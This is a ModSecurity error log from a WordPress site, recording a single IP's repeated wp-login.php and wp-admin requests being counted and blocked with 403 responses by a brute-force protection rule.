[Fri Feb 27 21:03:59.182847 2026] [:error] [pid 56075:tid 56091] [client 159.203.62.100:45364] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWP8KBhrfI6KNv9Ri2ZwAAAA0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:59.182906 2026] [:error] [pid 56075:tid 56091] [client 159.203.62.100:45364] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWP8KBhrfI6KNv9Ri2ZwAAAA0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:01.554235 2026] [:error] [pid 56075:tid 56086] [client 159.203.62.100:39476] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWQcKBhrfI6KNv9Ri2gAAAAAk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:02.861724 2026] [:error] [pid 56075:tid 56087] [client 159.203.62.100:39476] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWQsKBhrfI6KNv9Ri2hgAAAAo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:02.861786 2026] [:error] [pid 56075:tid 56087] [client 159.203.62.100:39476] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 15"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWQsKBhrfI6KNv9Ri2hgAAAAo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:05.385058 2026] [:error] [pid 54103:tid 54186] [client 159.203.62.100:39488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWRevG4MPCmE0B2sCg2wAAAM8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:06.679773 2026] [:error] [pid 54103:tid 54181] [client 159.203.62.100:39488] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWRuvG4MPCmE0B2sCg3QAAAMo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:06.679868 2026] [:error] [pid 54103:tid 54181] [client 159.203.62.100:39488] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWRuvG4MPCmE0B2sCg3QAAAMo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:08.947790 2026] [:error] [pid 56075:tid 56084] [client 159.203.62.100:39490] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWSMKBhrfI6KNv9Ri2oQAAAAc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:10.217552 2026] [:error] [pid 56075:tid 56085] [client 159.203.62.100:39490] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWSsKBhrfI6KNv9Ri2ogAAAAg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:10.217638 2026] [:error] [pid 56075:tid 56085] [client 159.203.62.100:39490] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWSsKBhrfI6KNv9Ri2ogAAAAg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:11.055709 2026] [:error] [pid 62998:tid 63025] [client 159.203.62.100:45636] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGWS1QeueXZDUmoLolADQAAARc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:11.898235 2026] [:error] [pid 52073:tid 52098] [client 159.203.62.100:45640] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGWS4a650YPyxXVeRY-hgAAAZY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:12.736354 2026] [:error] [pid 56075:tid 56102] [client 159.203.62.100:45654] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGWTMKBhrfI6KNv9Ri2pwAAABg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:13.578539 2026] [:error] [pid 52073:tid 52089] [client 159.203.62.100:45670] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGWTYa650YPyxXVeRY-jQAAAY0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:14.416970 2026] [:error] [pid 56075:tid 56096] [client 159.203.62.100:45680] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWTsKBhrfI6KNv9Ri2rwAAABI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:15.768582 2026] [:error] [pid 56075:tid 56093] [client 159.203.62.100:45680] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGWT8KBhrfI6KNv9Ri2tQAAAA8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:16.612653 2026] [:error] [pid 56075:tid 56086] [client 159.203.62.100:45694] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGWUMKBhrfI6KNv9Ri2uwAAAAk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:17.465408 2026] [:error] [pid 56075:tid 56085] [client 159.203.62.100:45698] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGWUcKBhrfI6KNv9Ri2wQAAAAg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:18.313467 2026] [:error] [pid 49306:tid 49312] [client 159.203.62.100:45702] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGWUvnSUDZue59Px9sJkwAAAUQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:19.155045 2026] [:error] [pid 56075:tid 56086] [client 159.203.62.100:45716] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWU8KBhrfI6KNv9Ri2ywAAAAk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:19.155120 2026] [:error] [pid 56075:tid 56086] [client 159.203.62.100:45716] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWU8KBhrfI6KNv9Ri2ywAAAAk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:21.685600 2026] [:error] [pid 52073:tid 52090] [client 159.203.62.100:46900] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWVYa650YPyxXVeRY-pAAAAY4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:22.971697 2026] [:error] [pid 52073:tid 52099] [client 159.203.62.100:46900] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWVoa650YPyxXVeRY-rgAAAZc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:22.971765 2026] [:error] [pid 52073:tid 52099] [client 159.203.62.100:46900] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWVoa650YPyxXVeRY-rgAAAZc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:23.813642 2026] [:error] [pid 49306:tid 49325] [client 159.203.62.100:46916] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGWV_nSUDZue59Px9sJmAAAAVE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:24.647704 2026] [:error] [pid 52073:tid 52091] [client 159.203.62.100:46932] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGWWIa650YPyxXVeRY-ugAAAY8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:25.487101 2026] [:error] [pid 52073:tid 52081] [client 159.203.62.100:46946] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGWWYa650YPyxXVeRY-vwAAAYU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:26.323604 2026] [:error] [pid 52073:tid 52082] [client 159.203.62.100:46958] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGWWoa650YPyxXVeRY-xgAAAYY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:27.160191 2026] [:error] [pid 49306:tid 49324] [client 159.203.62.100:46968] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWW_nSUDZue59Px9sJnQAAAVA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:27.160291 2026] [:error] [pid 49306:tid 49324] [client 159.203.62.100:46968] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWW_nSUDZue59Px9sJnQAAAVA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:29.509949 2026] [:error] [pid 52073:tid 52099] [client 159.203.62.100:46982] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWXYa650YPyxXVeRY-0gAAAZc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:30.819551 2026] [:error] [pid 52073:tid 52100] [client 159.203.62.100:46982] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWXoa650YPyxXVeRY-1QAAAZg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:32.146856 2026] [:error] [pid 52073:tid 52098] [client 159.203.62.100:46982] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGWYIa650YPyxXVeRY-3gAAAZY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:32.984597 2026] [:error] [pid 52073:tid 52086] [client 159.203.62.100:58260] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGWYIa650YPyxXVeRY-4wAAAYo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:33.819042 2026] [:error] [pid 62998:tid 63026] [client 159.203.62.100:58262] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGWYVQeueXZDUmoLolALAAAARg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:34.662808 2026] [:error] [pid 56075:tid 56092] [client 159.203.62.100:58264] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGWYsKBhrfI6KNv9Ri2-wAAAA4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:35.504875 2026] [:error] [pid 54103:tid 54183] [client 159.203.62.100:58276] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWY-vG4MPCmE0B2sCg8gAAAMw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:35.504959 2026] [:error] [pid 54103:tid 54183] [client 159.203.62.100:58276] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWY-vG4MPCmE0B2sCg8gAAAMw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:37.871386 2026] [:error] [pid 52073:tid 52098] [client 159.203.62.100:58280] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWZYa650YPyxXVeRY--QAAAZY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:37.871502 2026] [:error] [pid 52073:tid 52098] [client 159.203.62.100:58280] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWZYa650YPyxXVeRY--QAAAZY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:38.710942 2026] [:error] [pid 49306:tid 49326] [client 159.203.62.100:58288] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGWZvnSUDZue59Px9sJrAAAAVI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:39.549748 2026] [:error] [pid 54231:tid 54255] [client 159.203.62.100:56682] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGWZ-Tvb5AeyJCdY7AKRQAAAFU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:40.389306 2026] [:error] [pid 52073:tid 52087] [client 159.203.62.100:56692] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGWaIa650YPyxXVeRY_BQAAAYs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:41.221888 2026] [:error] [pid 62998:tid 63007] [client 159.203.62.100:56704] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWaVQeueXZDUmoLolALwAAAQU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:41.221955 2026] [:error] [pid 62998:tid 63007] [client 159.203.62.100:56704] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWaVQeueXZDUmoLolALwAAAQU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:43.508118 2026] [:error] [pid 54231:tid 54244] [client 159.203.62.100:56720] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWa-Tvb5AeyJCdY7AKUAAAAEo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:43.508208 2026] [:error] [pid 54231:tid 54244] [client 159.203.62.100:56720] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWa-Tvb5AeyJCdY7AKUAAAAEo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:44.342775 2026] [:error] [pid 56075:tid 56096] [client 159.203.62.100:56734] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGWbMKBhrfI6KNv9Ri3CQAAABI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:45.183543 2026] [:error] [pid 49306:tid 49331] [client 159.203.62.100:56738] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGWbfnSUDZue59Px9sJswAAAVc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:46.022484 2026] [:error] [pid 62998:tid 63016] [client 159.203.62.100:56754] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGWblQeueXZDUmoLolANAAAAQ4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:46.860661 2026] [:error] [pid 49306:tid 49318] [client 159.203.62.100:56768] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWbvnSUDZue59Px9sJuQAAAUo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:04:49.563127 2026] [:error] [pid 49306:tid 49324] [client 159.203.62.100:56768] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWcfnSUDZue59Px9sJvQAAAVA"], referer: https://gigfragments.org/wp-login.php
